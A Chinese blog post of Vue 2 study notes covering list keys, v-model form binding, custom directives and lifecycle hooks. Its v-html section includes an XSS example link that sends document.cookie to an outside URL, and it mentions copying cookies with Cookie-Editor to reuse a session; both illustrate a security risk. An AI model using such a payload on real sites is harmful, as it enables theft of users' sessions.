Vue其一--核心

12-列表渲染   

vue监测数据的原理几节没学

 vue借鉴了MVVM模型

1、面试题:react、vue中的key有什么作用?

(key的内部原理),在列表渲染一节当中

		<div id="root">
			<ul>
				<li v-for="(p,index) of persons" :key="index">
					{{p.name}}-{{p.age}}
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'张三',age:18},
						{id:'002',name:'李四',age:19},
						{id:'003',name:'王五',age:20}
					]
				}
			})
		</script>

特别注意<li v-for="(p,index) of persons" :key="index">       

<li v-for="p of persons"> 比起来多了一个key,key就是persons每个对象的唯一标识 ,index默认就是遍历时的索引值,所以说key可以是它。注意固定标准是(每一项的值,每一项的key)
in和of都可以,即p in persons

下面对代码完善,来解释使用上面那句代码当中使用index的缺陷

js 常用函数 push()、pop()、shift()、unshift()、slice()、splice() 等_js shift-CSDN博客

        <div id="root">
			<!-- @click.once表示按钮是一次性的 -->
			<h2>人员列表(遍历数组)</h2>
			<button @click.once="add">添加一个老刘</button>
			<ul>
				<li v-for="(p,index) of persons" :key="index">
                <!--  <li v-for="(p,index) of persons" :key="p.id">  -->
					{{p.name}}-{{p.age}}
					<input type="text">
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'张三',age:18},
						{id:'002',name:'李四',age:19},
						{id:'003',name:'王五',age:20}
					]
				},
				methods: {
					add(){
						const p = {id:'004',name:'老刘',age:40}
						// 在js语句当中   unshift:将新项添加到数组起始位置
						this.persons.unshift(p)
					}
				},
			})
		</script>

其页面如下,然后在文本框中输入数据如下右图

 然后点击按钮,在首部添加 “老刘” 如下,发下输入框中的内容错位了

 其原因如下:index的值来决定key,是根据遍历时的顺序判断的,所以说在破坏原有顺序以后,老刘的key虽然是004,但是被index变成了0

 但是当使用p.id作为key时,即上面代码注释掉的一行,结果正常

下面是原因:

使用p.id不会改变key值,说的是004,添加的老刘key就是004。

 2、vue数据检查原理解析

v-model、v-bind和v-on三大指令的区别 - 掘金 (juejin.cn)

3、收集表单数据

 虽然之前第三节当中v-model已经学习量双向数据绑定,但是对于不同的控件,使用方法有区别

若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。

若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。

若:<input type="checkbox"/>

     1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)

     2.配置input的value属性:

         (1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)

         (2)v-model的初始值是数组,那么收集的的就是value组成的数组

       所以说和下面的例子保持一致,value要写,v-model在script对于代码当中的hobby需要         是数组格式

备注:v-model的三个修饰符:

                   lazy:失去焦点再收集数据,即关闭实时自动数据收集

                   number:输入字符串转为有效的数字

                   trim:输入首尾空格过滤

 所以说text、radio、checxbox的写法如下

        <div id="root">
            //点击提交按钮后会提交数据然后刷新页面,prevent可以阻止该默认事件发生
			<form @submit.prevent="demo">
				账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
				性别:
				男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
				女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> 
				爱好:
				学习<input type="checkbox" v-model="userInfo.hobby" value="study">
				打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
				吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
				其他信息:
				<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
			</form>
		</div>

	    <script type="text/javascript">
		    new Vue({
			    el:'#root',
			    data:{
				    userInfo:{
					    account:'',
					    sex:'female',
					    hobby:[],
					    other:''
				    }
			    },
			    methods: {
				    demo(){
                        //提交时数据存储在_data中,可以直接输出this._data
        // (如果上面的数据没写在userinfo当中,只能说一般不使用_data),所以说也可以如下
				    	console.log(JSON.stringify(this.userInfo))
				    }
			    }
		    })
	    </script>

text和radio都简单,即text不写value在表单中,用户输入的就自动是value的值

radio需要设置value,来判断用户选择的是谁

checxbox中,因为有多条数据必须使用数组格式即 [ ] ,控制台运行结果如下

 对于v-model的修饰符:以年龄为例,其应该是数组number,而非字符串,

即使type="number"且data中给初始值18,但是在用户修改初始值18后,在控制台中

//对类型限制输入是number后,还需要限制v-model修饰符是number.输入3p1显示是3
年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>

4、cookie工作原理

就是通过cookie来身份认证,用户登录了一次,下次因为保存了服务器返回的cookie,下次直接进入,不需要登录。

下面是某网站登陆成功后的cookie

 破解cookie方法,使用插件Cookie-Editor便可以方便的导出上面的cookie,然后重新弄到另一个浏览器的该网站上面,有安全性问题

v-html安全性问题:因为v-html是直接渲染html,在如下例子当中:

首先可以看到v-html和v-text的区别,一个是强制显示为字符串,一个是可以解析html代码的用户点击链接后,因为链接后面有document.cookie,如果没有在上图打勾处设置,那么就可以被他人获取到cookie信息

<body>
	<div id="root">
        <div v-text="str"></div>
		<div v-html="str"></div>
		<div v-html="str2"></div>
	</div>
</body>

<script type="text/javascript">
	new Vue({
		el:'#root',
		data:{
			str:'<h3>你好啊!</h3>',
			str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
	    }
	})
</script>

5、自定义指令

例如vue内置的指令v-show是通过操纵div的display属性,从而控制元素是否显示

所以说自定义指令也类似,需要通过某个办法来操作DOM

例子:

需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。

需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。

定义仍然是在Vue当中,如下(注意定义是big,使用是v-big。以下是部分代码,不全)

<div id="root">
    <h2>当前的n值是:<span v-text="n"></span> </h2>
    <h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
</div>

new Vue({
	el:'#root',
	data:{
		n:1
	},
	directives:{
		big(element,binding){
			console.log(element,binding)
		}
	}
})

特别注意big内置的两个参数,element先不管,就是一个真实的DOM元素,毕竟指令就是来操作DOM元素的。

对于binding如下

链接原理后,所以说修改案例代码如下

<div id="root">
	<h2>{{name}}</h2>
	<h2>当前的n值是:<span v-text="n"></span> </h2>
	<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
	<button @click="n++">点我n+1</button>		
</div>

new Vue({
	el:'#root',
	data:{
        name:'尚硅谷',
		n:1
	},
	directives:{
		big(element,binding){
			element.innerText = binding.value * 10
		}
	}
})

注释:点击按钮发现n和放大十倍的都同时变化,那么big函数被调用的条件是什么?

big函数何时会被调用:

1.指令与元素成功绑定时(一上来一开始时,注意绑定在渲染之前发生)。

2.指令所在的模板被重新解析时(即不止是在n被修改时,就算是上面的name被修改也会调用big函数)。

 然后是需求二:

如果直接和上面一样的写法,会发现在刚进入页面时,焦点不会自动到输入框上。

但是数据更新后焦点又在输入框中,函数的触发条件如上。

但是成功绑定且还未渲染数据到页面上时,是先绑定,在渲染。具体原因见前端笔记第6条


<div id="root">
	<h2>当前的n值是:<span v-text="n"></span> </h2>
	<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
	<button @click="n++">点我n+1</button>
	<input type="text" v-fbind:value="n">
</div>

new Vue({
	el:'#root',
	data:{
		n:1
	},
	directives:{
		big(element,binding){
			element.innerText = binding.value * 10
		},
		fbind(element,binding){
			element.value = binding.value
			element.focus()
		}
})

 主要是因为也需要上面的div被渲染后执行焦点的代码才有效,但是<div></div>当中只是模板,不需要在vue相关代码后才会被渲染,所以说fbind不能写成在vue当中的函数形式,因为函数形式不能把绑定、插入渲染、更新分开。更新代码如下

fbind:{
	//指令与元素成功绑定时(一上来)
	bind(element,binding){
		element.value = binding.value
	},
	//指令所在元素被插入页面时
	inserted(element,binding){
		element.focus()
	},
	//指令所在的模板被重新解析时
	update(element,binding){
		element.value = binding.value
		//element.focus()
	}
}

上面fbind就是钩子三兄弟(后面有详解)

不难发现上面的big只是自定义指令的简写模式;bind和update的内容很相近;涉及焦点、父元素相关内容需要配使用到inserted

 6、Vue生命周期

生命周期:

      1.又名:生命周期回调函数、生命周期函数、生命周期钩子。

      2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。

      3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。

      4.生命周期函数中的this指向是vm 或 组件实例对象。

初识:vue的生命周期有很多过程,每个过程都有对应的函数可以调用

下图中每个红色框都是具体的生命周期函数、绿色是具体的流程,蓝色是解释。

以mounted挂载(钩子)函数最重要。

第一个正方形大框当中的template组件在后面信息讲解。

 总结:总共有四对生命周期钩子:

1、(数据监测、数据代理的)创建之前和创建完毕

2、挂载之前和挂载完毕

3、更新之前和更新完毕

4、销毁之前和销毁完成

 在代码当中第二个文件可以执行查看具体的顺序,方便理解

注意销毁只是销毁vm,而对于其他的例如输出语句,定时器之类的不会被销毁

在第三个代码当中:

停止变换的stop函数调用了生命周期的销毁$destroy()方法,但是此时定时器仍然在工作,只是销毁了vm。所以说在beforeDestroy()中,即在销毁vm之前就把定时器停止。

//挂载完成后就显示DOM到页面上,然后点击停止就销毁定时器和vm
<div id="root">
	<h2 :style="{opacity}">欢迎学习Vue</h2>
	<button @click="opacity = 1">透明度设置为1</button>
	<button @click="stop">点我停止变换</button>
</div>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	 new Vue({
		el:'#root',
		data:{
			opacity:1
		},
		methods: {
			stop(){
				this.$destroy()
			}
		},
			//Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
		mounted(){
			console.log('mounted',this)
			this.timer = setInterval(() => {
				console.log('setInterval')
				this.opacity -= 0.01
				if(this.opacity <= 0) this.opacity = 1
			},16)
		},
		beforeDestroy() {
			clearInterval(this.timer)
			console.log('vm即将驾鹤西游了')
		},
	})
</script>

 下面是调试的图,代码当中用debugger()隔断就好

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值